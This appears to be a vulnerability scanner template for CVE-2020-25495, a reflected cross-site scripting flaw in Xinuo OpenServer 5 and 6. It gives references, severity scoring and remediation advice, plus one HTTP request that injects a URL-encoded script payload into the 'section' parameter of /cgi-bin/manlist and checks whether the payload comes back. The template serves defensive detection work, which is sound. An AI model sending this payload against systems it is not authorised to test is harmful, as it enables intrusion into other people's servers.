id: CVE-2020-25495

info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.0235
    epss-percentile: 0.91907
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fe288383afc271e74429f1d9ef45f391ee89c7d9ef27af380e188cfd37f382e202207c492b969a3a447a7f7c54f9b07a58363fb6e630b2961362271a4786b85d11d0:922c64590222798bb761d5b6d8e72950